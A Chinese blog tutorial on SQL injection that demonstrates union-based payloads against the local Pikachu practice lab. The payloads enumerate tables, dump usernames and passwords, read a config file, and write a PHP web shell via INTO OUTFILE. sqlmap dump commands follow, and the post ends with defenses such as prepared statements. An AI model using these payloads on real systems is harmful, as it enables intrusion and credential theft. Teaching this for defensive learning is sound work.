网络安全那点事-SQL注入篇

有人说,技术分享就像找女朋友一样,不是靠追的,而要靠吸引!

安全案列介绍

SQL注入攻击案列


  • WordPress是一个用PHP编写的免费开源内容管理系统,由于clean_query函数的校验不当,导致了可能通过插件或主题以某种方式从而触发SQL注入的情况。这已经在WordPress5.8.3中进行了修复。影响版本可以追溯到3.7.37。

  • Discuz!系列全版本,截止到 Discuz! 3.4 R20191201 UTF-8。注入路径:登录后台,点击站长-》UCenter设置-》UCenter应用ID,存在注入漏洞

SQL注入

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

经典注入方式

1. id=1 order by n#
 #确定注入点语句的列数,后续构建union语句需要相同数量的字段
image.png
2. id=1 union select database(),2#
 #确定数据库名
image.png
3. id=1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
  #确定表有哪些
image.png
4. id=1 union select group_concat(column_name),2 from information_schema.columns where table_name='users'#
  #确定数据列
image.png
5. id=1 union select username,password from users#
  #获取数据
image.png
6. id=1 union select load_file('D:/www/pikachu/inc/config.inc.php'),1 from users#
  #读取文件

secure_file_priv特性
secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
可通过show global variables like '%secure%'; 查看mysql设置

7. id=1 union select 1,'<?php assert($_POST[1]);?>' into outfile 'D:/www/pikachu/1.php'#
  #写入攻击脚本
为所欲为.jpg

借助sqlmap注入

提前准备

  • python环境
# 笔者这里使用python2.7 
wget https://www.python.org/ftp/python/2.7.13/Python-2.7.13.tgz
tar -zvxf Python-2.7.13.tgz
./configure
make 
sudo make installl
  • sqlmap
#linux下git直接安装
gitclone --depth 1 [https://github.com/sqlmapproject/sqlmap.git](https://github.com/sqlmapproject/sqlmap.git) sqlmap-dev

执行python sqlmap.py -h检测时报错

missing one or more core extensions ('bz2', 'sqlite3') most likely ...
bz2安装
sudo apt-get install libbz2-dev
sqlite3安装
wget http://www.sqlite.org/sqlite-3.5.6.tar.gz
tar -zvxf sqlite-3.5.6.tar.gz
./configure
make
sudo make installl
重新编译安装python

注入操作

#获取数据库
python sqlmap.py -u "http://local.pikachu.com/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" --batch --current-db
python sqlmap.py -u "http://local.pikachu.com/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" --batch --dbs
所有库
#获取数据库所有表
python sqlmap.py -u "http://local.pikachu.com/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables --batch
所有表
#获取table列
python sqlmap.py -u "http://local.pikachu.com/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns --batch
表字段
#获取表内容数据
python sqlmap.py -u "http://local.pikachu.com/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password -dump --batch
表数据.png

SQL注入防御

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:

  1. 限制数据类型
  2. 参数过滤
  3. 函数过滤转义
    在php中最基本的就是自带的magic_quotes_gpc函数,用于处理 ’ " 符号加上/ 防止转义
  4. 预编译语句
    一般来说,防御SQL注入的最佳方式就是使用预编译语句,绑定变量。可以理解为字符串与sql语句的关系区分开,参数此时作为字符串不会被当做之前的SQL语句被带入数据库执行,避免了类似sql语句拼接、闭合等非法操作。就相当于拿着这个字符串去数据库中找有没有这个东西一样。并且使用预编译的SQL语句,SQL语句的语义不会发生改变。
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容